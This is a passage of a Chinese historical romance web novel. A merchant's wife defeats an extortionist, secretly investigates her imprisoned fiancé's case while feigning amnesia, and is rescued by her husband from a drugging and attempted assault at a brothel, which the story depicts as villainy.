裴陆戟望着她,轻轻帮她擦拭掉额角的汗,心思也只专注在帮她擦汗上,“以后,你遇上要帮忙的事,希望你能第一时间想到我,而不是母亲、父亲,或是其他别的人。” “好,你想送什么,我帮你。” 戚央央成功将东西送进宫中。 几天后,关口那边传来消息,戚央央名下所有塞北的货俱被拒入关,邵经国再次找上门店。 而戚央央早有所料,早早就在门店里候着了。 “我要见你们主子,这回她能好好跟我谈谈了吧?” 邵经国那对三角眼噙着奸狡,和恶狼般的贪婪。 戚央央从内室走出,塞北的货运不进来,要赶工做给贵人的货越发赶不及货期了,可她却依然气度从容淡定。 如兰在身后跟着,偷偷抬眼瞧她,却发现少夫人她越发有几分世子的气魄了。 “邵老板就算今日来,后日再来,我也还是那一句,白纸黑字,完全按照当初签订好的合同来走。一年该从你那进多少,收多少价,就完全按照合同上的来。” “这是我给邵老板最后的机会,倘若邵老板不领情,那我只好对邵老板说声抱歉,接下来我做的事情,不会给你留情面。” 邵经国听完对面这个个子还不到他肩膀高的柔弱女子的话,再也忍不住哈哈笑了起来。 他笑得前俯后仰,眼泪都快溢出,更是夸张地将手臂搁在店里的珍宝阁横杆上,抵着头笑得架子上的瓷器发出“砰砰”响。 店里伙计赶紧过去护住架子上的瓷玉器。 “不留情面??哈哈哈哈哈你要、你要怎么不给我留情面?”邵经国笑得肚子都痛了,“我不怕告诉你,你们在关外的那些货已经被我的人拦截了,那些货就当作上个季度一半的货款,剩下的,我奉劝你们尽快筹出来给我。” 他说完,便摇着扇子,大摇大摆走了。 戚央央依旧一脸沉静。 如兰在身后忧心道:“少夫人,这下可怎么办啊?货被他拦截了,货期马上就近了,重新去定一批的话,就算来得及,他也不一定能放行啊,到时候不是又被他把货拿走了,我们按合同要给客人赔偿很多啊” “不如我们还是把款想想办法交了?” “不行。”央央坚定道,“有一就有二,一旦这次被他尝到甜头,日后我们生意也别想继续做下去了。” “以前我没亲自打这些生意,没想到京城秦家的那些人做生意都欺负到人头上了,我尚且还是英国公世子,兵部尚书的夫人,他们也敢如此猖獗,那其他商家更是不知道被逼成什么样子了。” 戚央央记得,幼小的时候听外祖父、外祖母他们提起的世家,绝对不是像她如今接触过的世家那样。 外祖父外祖母回忆起他们年轻时的那个大晋,世家之人会自觉承担起保家卫国的职责,敌人打进边关来了,首先领兵挡在臣民面前的,都是那些大义凛然的世家。 “何为世家,世家便是世代承袭保家卫国、爱护臣民责任的家族,他们身上肩负巨大的使命,带领大家走向安居繁盛。” 她记忆很深刻,这是外祖父外祖母跟年幼时的她回忆起他们年轻时候的事情时,所说过的话。 外祖父外祖母年轻时曾经被外敌强占过家财,差点毙命,是当时当地的一个大世家倾举族的力量将他们和其他一些被拘留的百姓救出来的,可这个大世家却因此全族覆灭。 那个时候的世家是那样的存在,可是为什么,如今却沦落到仗权仗势可以吸食百姓血汗的模样了。 邵经国那次又来店里威吓了一次之后,为了赶工期不耽误客人的货,戚央央只好让人重新从关外订货。 第二次重新定的货,不出所料,又被邵经国的人在关口截住,私吞了。而且这次变得更为大胆,连货都没验,直接收走。 上一次的货加上这一次的货,差不多也足够缴清那些邵经国要求的金额了,可是,邵经国不出央央所料又摸上门来了。 听说邵老板又上门来访的时候,戚央央依旧在内室喝着茶,不紧不慢地拨打着算盘。 “少夫人,还真被你料到了,有一就有二,我们就是把钱给了他,他也还是跑来搞砸,这下该如何是好啊?”如兰焦急道。 “别急,”央央轻轻一笑,“时间差不多了,如兰,我们出去收渔网吧。” 第74章 他笑着走过来 如兰不明白主子这么说是什么意思, 只觉得这次非得让这吃血的水蛭给吸干血不可了。 戚央央估算的时间还挺准的,妙就妙在,圣旨来到的时候, 邵经国刚好也在店里,亲耳听到圣旨所言。 皇帝身边的大内侍, 刘公公亲自来宣读的圣旨。 刘公公眯眼笑道:“裴少夫人, 陛下托咱家来给你赏了许多金银, 谢谢你送的那几件皮氅, 太后很是喜欢,希望这次太后大寿, 贵店继续不要让太后娘娘失望,那些赏银其中的一部分, 就当做给太后制的这些皮氅的定金了,完成后陛下还会有大赏的。” 戚央央听完, 没有伸手去接旨, 反而立马磕头领罪道, “民妇有罪, 这次给太后娘娘的货,完成不了。” 刘公公一听脸色都变了, “如今时间还充足,怎么就完成不了呢?” “刘公公, 是这样的,给太后制作皮氅,那用料必须是最上乘的, 我们近期确实在关外物色到了一种极其珍贵稀罕的紫貂皮,只是那货” 戚央央转头看了看后方的邵经国,“那货在邵老板的人手中, 刘公公如果不信,派人去一查便知,我们还有还多珍贵的货,如今都在邵老板手里。” 邵经国瞪大了眼睛。 紫貂皮确实是极其贵重的皮,在大晋,一般有严格规定只有皇亲有资格用紫貂的皮,他怎么想得到这第二批的货里夹藏着紫貂这样珍罕的皮?若他知道的话,是打死他也不敢私藏的。 刘公公是素闻如今的世家有多猖狂的,而这世家当中,就以秦家和依附秦家的人最为嚣张。 陛下碍于秦家的权势,和朝中秦丞相的势力,对秦氏所为,许多都只眼睁只眼闭,但这次是直接踩在陛下的面子上了,更何况,太后也是秦家人,而这人竟然猖狂到吃相这么难看都不知道擦嘴的吗? 刘公公阴沉着脸,立马叫禁卫将邵经国抓住,“下命让人去关口那边查查,这人是不是在关口扣押了裴少夫人的货,如果证据确凿,立即关进邢部。” 邵经国当场吓得魂飞魄散。 邢部是秦相的人在主管着,但他这次的行为,已经直接上升到踩着秦家人的头上,刘公公还故意把他扔给邢部,秦家惯来不养咬人的狗,他那样的行为如果不是被扔到邢部,尚且还有活命的机会,这下可能会连怎么死的都不知道 戚央央看着脸色发青、浑身颤栗不成人样的邵经国被拉出去时,轻轻叹息一声,小声道:“都说给你机会不要,我不会给你留情面的了。” 邵经国双眸木然被禁卫军在地上拖出一条水痕,眼底倒映出那瘦瘦小小的倩影。 他又怎么知道,他邵经国威名鼎鼎,血里来火里去排除万难才攀上了个大人物,以为终于能富贵一辈子了,最终却会栽在这么个女流之辈手中。 后来,邵氏被查出,用不义手段非法掠夺戚家在内,不少于十数家的皮货店的货,在最后要被定罪之时,突然患染疾病暴毙在狱中,听说死状惨淡。 而戚央央关外的那些货,终于能引进来了,从此以后,也无需被姓邵的吸血,还帮其他商家惩奸除恶了。 只是,央央心底始终还有一些道不清的情绪。 裴陆戟如今每过几天都会提着铜匣回来,今日回来的时间比较晚,回来见戚央央还未睡,正好能把今日新的糕点亲自送给她。 “怎么还没睡?我还以为赶不上了呢” 他笑着走过来。 戚央央见他回来,便一把伸手拉着他过来坐,把头靠在他肩膀,亲昵道:“郎君最近都好忙啊,一天比一天晚了呢。” “是啊,今日衙门事情多,你在等我吗?” 央央笑着“嗯”了“嗯”。 尽管裴陆戟知道,她并没有在等,但得了她这一句“嗯”,他就觉得一身的疲惫都消了。 “以后你忙,就不必特地抽时间找人回来跟我通报了,赶不及也可以直接宿在衙门,不必这么着急赶回来,这样郎君多辛苦啊,郎君竟然还找人去买糕点了。” 她看着摆放桌子上的蜜香居铜匣,道。 裴陆戟将铜匣打开,取出一个有层层“花瓣”的花糕。 “今日因为时间关系,只有一款,这叫苏丹花糕。” 戚央央笑,“敢情这些铜匦款糕点都是你自己做的呀?” 裴陆戟没有说话,只含蓄一笑,道:“蜜香居的铜匦款是按易经的八卦基础,天干地支去推算每五日的吉兆之像,然后选材制成糕点的,我研究了一下应该,差不离。” 央央惊讶:“还真是你自己做的不成?那你每天下值后还特地跑去学来做,做完才回来的吗?” 被她问得有点羞涩,他别开了头,轻咳了一声,支开话题道:“你刚刚为什么蹙眉,有什么难题么?” 戚央央一听,那种道不清的情绪又萦绕心头了,她摇摇头道:“没有,都解决了,只是” “从前我听外祖父外祖母说过,以前的时代,世家之所以为世家,是因为他们肩负着世代保家卫国、爱护臣民的责任,可是现在” 她目光黯然。 裴陆戟握起她的手,帮她冰冷的小手搓了搓,轻轻放进自己怀里捂暖,道:“不要失望,现在的时代是差了些,但是,以后会好的。” 戚央央也不知道,自己为何会说着说着就忍不住跟他说了许多:“要等到什么时候,我时常在城中奢华的酒肆旁路过,看见世家子弟把金子混进食物里,从楼上抛下,扔给乞丐吃,乞丐不知情之下吞金而亡,后边的乞丐知道后就疯魔似的扑过来挠破死去的人尸首,掏出金子,有些甚至人还活着就被剖破腹腔,死状凄惨,那些世家子弟以此取乐,乐此不彼。” “我爹和哥哥们战死后,我娘因为极度思念他们抑郁而死,临死前拉着我的手,说我父兄本来不用战死的,她说都是世家的错,那时候我不明白,现在想来,大概那时候爹爹哥哥们之所以缺军粮,就是因为有世家的蛀虫在,才会缺的吧。” 她目光灼灼地看着他,“郎君,你说那样的时代,到底什么时候会好,它能好得了吗?” 裴陆戟回视她,认真道:“世道有坏的人,就一定有像你一样心向光明的好人,一定会有人为了还回这时代光明,而默默在努力的,而且还不止少数,一定是有一群,有一群人在努力。” “真的吗?”她问,“那郎君你是身在光明还是黑暗呢?” “你猜。”他笑。 见得不到他确切的答案,戚央央只好作罢,笑开拉住他手道,“我猜,我的郎君那么好,定是身在光明,对不对?” “这次邵老板的事,幸亏有郎君你,要不然,店铺就要损失惨重了。”她感激道。 “我只是提了几句,真正做成此事的人,是你。” 他笑。 “郎君,京城的皮货店,我打算开拓羌北那边的货源,这段时候我要物色商队,可能又得一顿忙的,接下来的日子,可能照顾不上郎君,郎君会不会怪我呀?” 她把头蹭在他肩窝,撒娇道。 裴陆戟许久没有回应。 “郎君?郎君?” 她感觉自己靠着的肩膀肌肉有些绷紧,抬头一看,发现裴陆戟木了似的,一动不动。 经她多次呼唤,才勉强找回神思,咳了咳,点点头道:“嗯,你别太辛苦,高兴就好。” 再细看,发现昏暗的树影下,他脖子根有可疑的红晕。 裴陆戟留在扶风院把戚央央哄睡了,自己才回正院。 戚央央等他离开后,昏黑中悄悄地睁开一双亮如烛光的眼睛。 这段时间她蛰伏在他身边已久,却完全找不到半点救沐大哥的办法,她连沐大哥是怎么陷害进狱的都不知道。 府里她能翻的地方都翻过,她也去了他的衙门,趁他走开的间隙翻动了他的文书,却依旧一筹莫展。 她连他现在到底被关在哪里,都不知道。 那天,被他抓着绑上马车回京,戚央央确认过他对自己的感情后,横生出一计,向死而生,以此破局。 她趁乱将头撞向车壁,醒来后,她“故意”丧失了这一段记忆,变回了一年前那个,还爱着裴陆戟的戚央央。 裴陆戟这人阴狠狡诈,行事多诡,这头说真心替他们办婚事,转头就投了秦丞相,把她未婚夫抓起来。 而且,来到京城四处打探之下,她才知道,原来宋敞还好好地待在秦相身边,而且还是裴陆戟把人送回去的。 通敌那么大的罪,宋敞居然可以脱罪,转眼就成了她的沐大哥因通敌入狱,这事怎么想都觉得蹊跷得很。 无奈她一直没找到证据,只好借打商铺和那些商队为名,偷偷找人去封州联系姨母。 她想知道,沐大哥成婚前跟她说的,要告诉她的好消息是什么,她直觉这次的事应该同这个有关系。 姨母那边尚没有消息,她只能继续等待,同时扩张商队去羌北,打算寻找答案。 她以前事情不会很顺利,以裴陆戟的精明,可能很快就会识破她,可她没想到的是,这件事情到现在,竟然都出奇的顺利。 而且,邵经国那件事,他竟然会提点她,她当时就觉得挺疑惑的,他不是正依附着秦家吗?一旦邵经国那件事办得不够漂亮,他很有可能会得罪秦家,他又为什么,要搬大石头砸自己的脚? 难道真的就因为对她动情了,就可以牺牲至此,连辛苦多年汲汲营营得到的一切都可弃?这并不像他啊 第75章 他眼神冰冷如刀 裴陆戟哄到她闭上眼睛了, 才离开扶风院回到自己的正院。 最近他已经不怎么会发作了,可以用来做事的时间越来越多。 他回屋后,小兔子在棉窝里鼻子一耸一耸醒过来, 从窝里跳出,来到他脚边。 这时, 残影来复命, 小兔子闻到有煞气, 吓得趴伏在地装死, 裴陆戟捞起它,放在腿间, 它便直接缩进他怀里。 “回禀主子,戚姑娘在关外留的人被秦相的人盯上, 属下已经把那些人抓走,给秦相发假消息, 秦相不会再怀疑戚姑娘了。” “戚姑娘头一回谋划做这种事, 如果稍不妥善, 就会惹来大祸, 幸亏主子想得周到。” 裴陆戟揉揉兔头,“我能替她做的事情有限, 只能教会她独当一面,才能在这个时代活得很好, 每个人的第一次,肯定都会有许多错漏,不要紧, 她已经比许多人做得更棒了,也很聪明。” “秦丞相最近因为邵经国的事,被陛下借太后之名推上了风头浪尖, 他如今自顾不暇,正是时候。沐江恩剩下找不到的那一半,要趁这机会赶紧找全。”裴陆戟道。 “是。” 残影走后,修竹端着药推门进来。 “世子,你有没有觉得戚姑娘她跟以前,好像有些不一样?” “哪不一样?”他放下卷轴,问。 “说不上来,但以前小的跟她接触,跟现在好像隐隐约约觉得是有些不一样,你说她会不会假装失忆?” 裴陆戟目光犀利瞪着他,“不许胡说!” “大夫也说了,她如今头部淤血都清了,你说她会不会是恨极了世子,所以故意装失忆留下,想搜集” “不可能。”他重新拿上卷轴,斩钉截铁。 “也不是没有可能的,若她真的那世子你” “修竹你记住,”他冷道,“她说她失忆,那就是失忆,明白了吗?” 修竹愣愣地看着他,“明明白” “以后,不许再说这种话。” · 戚央央找人联系姨母去查的事,终于有眉目了,信是荆王派人安排秘密送进京中,再收买一个小乞丐递到她手中的。 原来,沐大哥之所以会被抓走,不是他真做了什么通敌之事,只是因为他查到了一个人,当年在车壁一役中,做过的事。 这件事查出来,可能直接就能洗刷她父兄的冤屈,而且,还有可能牵扯到一些人。 所以,他被抓起来了。 现在她终于明白,沐大哥婚礼前跟她说的好消息指的是什么了。 若他没被抓起来的话,这确实是天大的好消息,可这桩案背后牵扯的巨大势力,注定了这件事将会很难办成,就像她,就像沐大哥,自身面对的是那样可怕的对手,而且还很大可能是一个强大的权力团体,那就不是他们能破局的了。 不过,无论如何,不管多艰难,她也一定要把沐大哥救出来。 · 根据荆王提供的消息,沐大哥调查车壁大役一事战败起因,是查到了一个当年在荆王部队的一个粮仓里的老兵。 据老兵所述,当年管粮仓的仓廪官在大战前后行为十分鬼祟。 沿着这条线索一直查,便查出了一些眉目。 大战之前,彭州军营曾运进军粮三百石,统一用军用的车运的,但记录的数据,当年那三百石粮食,装车数一对比之前同样三百石粮食运载量,却大不相同。 沐大哥猜测,那些可能已经不是粮食,有可能是运输了别的东西混杂期间,像泥土什么的。 后来,他真就查出了那场仗战败后,仓廪官运送货物出城的证据,而那些货物的形容,正好跟失踪的三百石军粮相吻合! 那运出城的货物后来转散在大晋周边国家,走商路消失了,沐大哥已经找到了一部分周边国家的粮食交易记录,只要找齐所有的记录,那么,就正好可以证明,当年那管粮仓的仓廪官,才是导致那一次缺粮败战的罪魁祸首! 戚央央正好要开拓羌北商路打探当年战士遗骸,就正好利用这些商队分散到各国找齐剩下的那些交易记录。 只是,荆王说了,沐大哥目前搜集到的记录,并没有交给他。 既然沐大哥被关多时一直也没有听到处刑的消息,肯定背后团体并没有从他手中拿到记录,既然如此的话,他肯定会藏在某些地方。 于是,戚央央千辛万苦,终于在荆王的帮助下,找到了替沐大哥办事的人。 那人说,他只是听吩咐,将一个纸匣放在了京城的红杏阁。 红杏阁是京城一家比较有名的青楼,入夜后这一带的路上都是车水马路、衣香鬓影,于是,她装扮成自家锦绣阁店里小裁缝的模样,趁着天未黑,悄悄以给楼里姑娘量身为由,进了红杏阁。 央央到红杏阁找到接头人说出了暗号,可那接头人却说,那东西前不久已经被人取走了。 沐大哥在京城难道还有其他接应之人? 戚央央满肚子狐疑,独自走出红杏阁。 不料,这时一个衣衫华丽的公子哥白日里进来,迎面看见她,一眼识穿她是男扮女装,轻佻地一把拉住她手腕。 “这位姑娘生得好生俏丽啊,你是楼里新来的吗?我以前怎么没见过你啊?” 楼里嬷嬷见状,立马下来解围:“祁公子啊,你今日怎么来这么早啊,燕红姑娘还没梳洗呢。” “这位是锦绣阁来的小裁缝,是来我们红杏阁给姑娘们量身做新衣裳的。” “小裁缝?”祁英杰凑近了一些看戚央央,眼睛眯了眯,“可我瞧着怎么竟比你们楼里的花魁燕红还漂亮许多啊,小裁缝在锦绣阁一个月多少工钱?我出十倍工钱,你以后过来尚书府跟着我吧。” 戚央央眉头一皱,一把掙开他手,急急往门外走。 祁英杰见她走了,便让守门的那几个侍卫将她围了起来。 戚央央懊悔今日出门为了不让人知道,竟一个人都没带,她若是至少把如兰带着,如今兴许就有人替她逃跑出去唤人了。 “你不要惹恼我,可知道我是谁吗?”没有办法了,央央她为了不受侮辱,不得不搬出自己的身份。 “我是锦绣阁的大老板戚氏,英国公世子夫人,今日是我店里的裁缝师没空,我才顶替一下,你敢对我无礼?!” 祁英杰笑了,“现在随便一个小姑娘家家的,都这么敢想了吗?还世子夫人?” “世子夫人你当不了,过来尚书府给我当个小妾倒是可以,我爹乃当朝礼部尚书祁仁义,给我当小妾,绝对比当什么世子夫人好。” 祁英杰又笑着要去摸她脸。 戚央央反感,一把抽出怀中匕首反抗,划伤了他的脸,祁英杰摸着自己脸上被划出的血痕,气结道:“你!来人,给我将这小贱婢抓起来,捆楼上,爷我今日要在这红杏阁与自己的小妾圆房!” 戚央央一阵惊惧之下,就被几个高头马大的钳制住,抬了起来,她只得不停向红杏阁的人求助:“我真是英国公世子的夫人!!我郎君是当朝兵部尚书,裴陆戟!!我若在这红杏阁出什么差错,我郎君定不会饶过你们每一个人!!” 老鸨是见惯各式各样人的,刚戚央央虽一身粗布进来,但她身上的气质和气度骗不了人,正正像是从大世家出来的人。 于是,老鸨让人在楼上尽力斡旋着,以不得罪尚书公子,劝说为主,尽量拖延时间,她则尽快跑去找英国公府的人来。 戚央央被那些大汉抬着上楼一把扔在了榻上,那些龟奴终究还是劝说不了祁英杰,被他一脚一个踹在门外吐血。 槅扇门“支”一声闭合,屋里暗了下来。 戚央央手中的匕首,在刚才已经被祁英杰的人夺走了,此时她再也没有能反抗的武器,只好按压住心中惶恐,强作镇定道:“这位公子,你说你是礼部尚书的儿子?可是嫡子?” 祁英杰以为她终于被说动,态度也和缓了下来,“自然是嫡子,我是我爹唯一的嫡子,你跟着我,吃不了亏,往后你好生服侍,我定不亏待你的。” 他说着,就要往她领口探,被戚央央一把握住手,“祁公子,我是黄花大闺女,做这种事有些怕,” 她低着头,装羞赧道:“我我们先从拥抱开始好吗?” 美人脸庞泛起淡淡红晕,仿若晨曦中绽放的荷花花苞,含羞带怯,哪个男子不心动? 于是,祁英杰态度立马温柔起来,哑嗓道:“好” 戚央央轻轻将手臂搭在他肩膀,见他疏于防范,目光一转,抬手就将他冠发之上的银簪抽出,猛地往他后颈刺去。 不料她快将刺进他后颈之际,便被他劈手打掉了簪子。 银簪“叮”一声落地,她也吃痛地抱着被劈肿了的手肘,滚在榻上。 “贱婢!!爷一年当中收拾的娘们还少吗?会不知道你心里想什么?来人,上家伙!是时候让你尝尝什么是极致的快乐了。” 侍卫竟一个红绸缎包裹的锦盒抬进来,祁英杰将锦盒打开,里头的东西让戚央央见了顿时头皮发麻。 是些手铐、链子、皮鞭,还有一些缀着许多铃铛,造型怪异的“刑具”,还有一些是她前所未闻,挠破脑子也想不出用法的“器`具”。 央央以前只是听说过京城的世家子弟私底下生活荒唐不堪,没想到当自己直面这一幕时,冲击力那么大。 她突然想明白了,那些被世家子弟玩弄至死,从后门抬出的苦命女子,她们到底是怎么死的了。 祁英杰下命自己的侍卫将戚央央抓住,一人抓着她一只手,把她按在榻上,她根本动荡不了。 戚央央感觉到了绝望。 祁英杰已经拿起来盒子的“器具”,朝她走来。 他将一颗气味古怪的药丸,强行掐着她下颚逼她咽下去。 “吞了!接下来你会很快乐的。”他瞪着眼睛哈哈笑着。 戚央央呛咳不已,泪水都流了出来,看着长长的皮鞭在扬起对着她下面。 皮鞭未来得及抽下,门板就被人踢开。 裴陆戟阴着脸,眼神冰冷如刀,将手中的铜匣放下,一把将前面的祁英杰踹倒在地。 “你们好大的胆子,不怕死是吗?”他的声音彷若来自地狱,让人不寒而栗。 不管是周身散发的气场,还是他那身正二品的官服和年龄,都在宣示着,他很有可能就是那位年轻的新任兵部尚书裴陆戟,这小裁缝,兴许没有撒谎。 第76章 他能克制吗? 裴陆戟眼疾手快, 伸手夺过祁英杰手中的皮鞭,反手就给他来了一下,他立马捂住右眼, “嗷”的一声趴在地上痛叫。 那几位钳制着戚央央的侍卫大声喊“公子”,俱都不知道该不该放人。 裴陆戟又往祁英杰后背来了一下, 祁英杰的后背衣裳登时裂开, 皮开肉绽。 “还不放人??”他突然大声一吼, 平日瞧着那么冷淡自持一个人, 此时白皙脖颈青筋都突起了,脸色因暴怒而染红。 那几名侍卫赶紧松了手, 戚央央得以松脱,已经浑身无人在床柱上滑了下来。 裴陆戟赶紧伸手将她接住。 看见她捂着右臂, 便立马将她右边小臂的衣袖捋起,发现手肘处已经红肿。 他冷冽目光中登时多了几分戾意, 放下她旋身走到祁英杰面前, 脚踩在他胳膊上, 轻轻碾压着, 逐渐用力。 他眼神沉寂中带了几分可怕,“你是祁仁义的嫡子是吧?你爹是秦相一个庶妹的丈夫, 你爹也算得上是秦相妹夫,而你是秦相侄子, 是吗?” 只听“咔”的一声,祁英杰手骨被他徒手掰断,疼得龇牙咧嘴。 他用修长优雅的长指掐住他脖子, 逐渐收力道:“胆敢光天化日之下,猥`亵侮辱朝廷命官的妻子,你爹他那身官服恐怕是得脱了。” 那几位侍卫眼巴巴看着他在掐自己主子, 却不敢上前阻挠,直到祁英杰被他掐得面色发紫,似乎真的要弄出人命,那几人终于瑟缩着上前去制止,而裴陆戟不等他们上前制止,便主动一下松手,把人扔在地上。 回头将戚央央打横抱起,单手提了铜匣,大步往屋外走。 戚央央刚才被迫咽下了祁英杰塞来的药,起先只是觉得身体虚软无力,慢慢地,竟觉得浑身都燥`热起来。 等裴陆戟抱着她上了马,她已经有些难以抑制自己的行为。 抱着她坐上马头,她一手滚烫的小手已经主动攀附在他脖子。 裴陆戟皱眉,疑惑地低头轻唤了她一句:“央央?” 当他低头看见她的样子时,立时什么都明了。 “该死!”他低头咒骂一句,然后把属下唤来:“进去找祁英杰拿解药!” 解药拿回来,他立马给她服下。 “回禀主子,那姓祁的说,解药服下去也没有那么快见效的,少夫人她得忍耐一段时间。” 裴陆戟咬牙,“回头将他衣裳扒了,游街。” “是。” 这里距离回府还有好长一段路,由于戚央央服了药身子虚弱,不宜骑得过快,他只能护着她,慢慢骑回去。 戚央央觉得自己的手又控制不住了。 “郎君”一开口,就是让人酥软得让人面红耳热的声音。 “怎么了?”裴陆戟低头柔声应她。 戚央央本能地只能往他怀里钻,同时用让人羞死的声音喘`息道:“郎君我我现在” 不等她说完,他就明白,勒马停在一旁,脱下身上的绯红正二品官袍,披在了她身上,遮住她头和脸。 “现在就没人看见你了,别怕。” 央央简直想杀了自己,“可是可是这是兵部尚书的官袍,我我披不得” “没事。”他低声安慰她,“礼部尚书的儿子造了孽,我参奏上去,特别时期特别处,这点小事圣上不会降罪的。” 她听完,松了口气,但还是觉得没脸见人,手又开始不受控制,泥鳅似的溜进他的衣襟,贴在冰凉舒适处。 裴陆戟想伸手拉住她作乱的手,刚拉住又松了手,只能正襟危坐继续骑着马,目光往前,双手只护在她身体两旁,连碰都不敢碰她一下,生怕自己会把持不住。 戚央央也是受了药物的控制,等她清醒过来发现自己做了什么,她懊悔不已。 因为她把人家胸口都啃了个遍,衣襟处都被她的口水沾湿,幸好官袍够大,将她一整个笼罩在他怀里,外头看不见她坐在里面做了什么。 但刚刚似乎经过了一条颇为热闹的街市,她难以想象自己刚刚正在人来人往的时候 她红着脸赶紧将人衣襟拢好,也把自己散乱的衣裙好,把盖着头和脸的官袍,披得更严实了一些。 裴陆戟也轻咳了咳,身子坐得更正了。 她不敢直视他表情,但还是忍不住抬头偷看了下,意外发现他脸色如常冷静自持,只是脖子根处的红晕和轻微滚动一下喉`结揭露了一些。 恰在此时,他也低头来回望了她一眼,二人目光交接,她从他浓墨般深邃的眸子内窥得了一丝隐忍克制的情愫。 突然想起以前二人床`笫间的生活,他似乎就是最经不得她挑`拨的。 不管平日里多么庄重自持,对她表现得多冷淡,但每次只要她一主动,他就难以把持。 是了,他的欲`求向来就很强。 于是,央央觉得更尴尬了。 她不敢再凑近他,移开了一点距离,“郎君你刚才明明想伸手拉开我的,为何后来又收了手?” 裴陆戟怔了怔,伸手正了正自己衣襟,道:“因为从前有一回,我因为慌张不懂推开了你,说了你不正经,你难过了。” 戚央央惊讶,她没想到是因为这个。 说起来,她不喜欢他的日子长了,慢慢地自己都有些忘记以前她每每被他冷漠拒绝时,那种受伤的感觉了。 应该还是蛮伤人心,因为她想起来以前自己每每都会偷着落泪,只是哭完了又像个没事人一样,接着追在他身后跑。 如今他是喜欢上自己了,也开始忏悔懊恼以前自己的行为。 戚央央突然大发奇想,他果真能为了懊悔,就不拒绝她,也能克制自己么? 他毁自己婚事的仇,她还记着,于是,在她体内药性再次袭来,她又觉得浑身被火烧,被蚂蚁啃,把控不住之时,她把心一横,直接抱了上去啃他脖子。 绯红色的官袍罩住了二人,倒是没人注意到裴尚书怀里的人在做什么,只要他能表现得镇静自若,像没事人一样的话。 但问题是他不行。 戚央央明知道那是他最敏感之地,以前二人行`夫妻之间的事,他屡屡挫败就是挫败在这里。 每次想要克制,想要推开,都被她成功掰回一城,惹火焚身。 眼见着怀里的人因药性糊涂而动乱,自己又不敢制止,怕又惹她的心受伤害,可又不能真的碰她,因为他知道她并非真心,只是因为失忆。 于是,就在自己快要克制不住之时,猛地驾马从大街快速绕到小路上,最后将马停在一条小巷里面。 下属们则在路口守着。 他勒紧马缰,坐在马头,任由她动作。 戚央央起先只是心怀怨怼,加之药物的催化下,对他肆无忌惮。 到后来,药性更加猛烈了,她直接趴在他肩膀又啃又咬,狠起来的时候,都往他肩膀咬出了血口。 这都不是最要命的,要命的是,她都不知道自己中了药的样子乌发散乱,眼尾桃红,眼神迷离,这对他而言有多致命。 他不敢去看,闭起眼睛强迫自己不看、不想、不听,用一根腰带将她双手束起,防止她做出更过分行为。 如此一来,那人儿竟直接就哭了。 哭声催人,他本来抱她下了马想离她远一些,这会儿又折了回来,替她松绑双手,谁知她直接凑了上来,想咬他唇。 他不敢拒绝得太狠,只能用手挡在自己嘴唇上,她直接在他手掌心委委婉婉地吸咬起来。 他觉得自己整个人都快绷坏、疯掉。 不知过了多久,央央的药性再次被抑制,她停止下来。 其实刚刚她有些报复性地对他时,隐隐约约地竟听见他念清心咒的声音,当时下意识是觉得好笑的。 但现在停息下来,见他竟也是战战兢兢的,染了一身薄汗,而他真的是从始至终没有越雷池一步。 就连以前他对自己冷漠的时候,都忍耐不住自己的撩`拨,可他现在竟真的因为自己“失忆”了,就给予了尊重,始终不越雷池半步。 她觉得,至少他在这方面上,还是值得尊敬的。 他见她平息了,伸手抱她上马,“可以继续走?” “嗯。”她点了点头。 被他抱上马头,用他的绯红官袍盖住头面那一刻,迎着衣袍襟口处遮挡不住的天光,和他完美的下颚线,她发现他这人虽然讨人厌,但还是蛮好看的。 盯着他看着看着,突然想到了自己这一回,会不会有所错漏,顾不上演戏,做了让人识破她不是失忆的事。 “郎君,”她在他怀里叫他。 “嗯?” “你当真是怕我想起了以前的记忆后,会后悔,才忍耐的吗?”她道。 裴陆戟低头看她一眼,“嗯。” “可我不会后悔的,你就是”她笑着抬起头看他,有那么一瞬,她有些眼花,不知怎地就停住。 “你就是我最喜欢的人,怎么可能会后悔呢?”她心脏有一瞬不知是因紧张还是怎么,错跳了一瞬,在他来不及反应过来之时,轻轻仰头将唇印在他下唇。 裴陆戟剧烈地刹住了马,害得她一头栽在他胸膛。 她揉着撞疼的额头抬头,抱怨道:“郎君你” 一个气息干净清冽的吻,轻轻贴了过来,回吻了她一下,立马松开。 第77章 他竟然就回吻了 戚央央感知到他吻了自己后, 整个人都傻了。 她第一反应是,他竟然会主动吻自己。 随后就是想到沐大哥,心里泛起阵阵愧疚。 不过, 刚才她那样炙烈的时候他都始终不肯碰她一下,现在她不过是蜻蜓点水似的轻贴了一下, 他竟然就回吻了 戚央央一路上都在想他那个吻, 低头裹在他的官袍下。 一时想着的是, 回去后他会不会主动找自己圆`房, 一时想的又是,她刚才表现应该还可以, 他应该识破不了自己没有失忆吧? 带着忐忑的心,然后就听见他在轻唤她的声音, “你饿不饿?要不要吃块糕点?” 他停下来,解开马背上绑着的那个铜匣, 从里头拿出一块造型别致的糖糕。 “这是奶味的, 吃了人高兴些, 要不要尝尝?” 戚央央发现, 他如今好像特别在意她高不高兴,每次她一有不开心的迹象, 他就立马来哄,尽管有时候瞧着有些笨拙。 像之前她睡不着心情抑闷, 他立马就给自己唱童谣哄睡。 “郎君,你为何经常一买就能买到好几款铜匦款的糕点啊?他们家不是每五日出一款的吗?难道你跟他们掌柜有交情?”她终于留意到他这一点,问。 这时马经过蜜香居不远的一条大街, 有几位贵妇因为来蜜香居买糕见过裴陆戟,就热情地打起了招呼:“是裴大人啊,你又来蜜香居做糕了吗?” “做糕?”怀里的戚央央疑惑。 说话的那位婶子比较多嘴, 就同大街上的其他人说了起来,“这位就是那位蜜香居掌柜最近新收亲传的大弟子,裴大人啊,裴大人会做铜匦款糕点,做得可跟蜜香居掌柜做的一模一样啊,据说都是为他夫人做的,先前他夫人去了别的地方,有好长一段时间买不上铜匦款,他就想把那些没买上的,都补回来,可偏偏那掌柜心眼犟,硬是不肯做已经做过的款。” “所以人家裴大人啊,就自个撸起袖子,自个找掌柜借食谱研究了。” “是啊,这事我也知道。”此时街上另外一个婶子也来搭嘴,“他做的铜匦款,有一款还真跟我之前买过的一模一样,掌柜试尝过味道也说一模一样。” “本来这食谱不外传,但难得有像裴大人这么痴情的郎君,简直世间少有,掌柜便破例了。” “现在啊,裴大人是每天都会抽时间往蜜香居扎呢,就都是给她夫人做糕的。” 裴陆戟被人当着众目睽睽之下,说起了这些事情,尤其是身后还跟着他的一队伍下属,戚央央也在的情况下。 见他的眉头蹙得越来越紧,脖子根越来越红,戚央央便想到他一定难以应对这种场面。 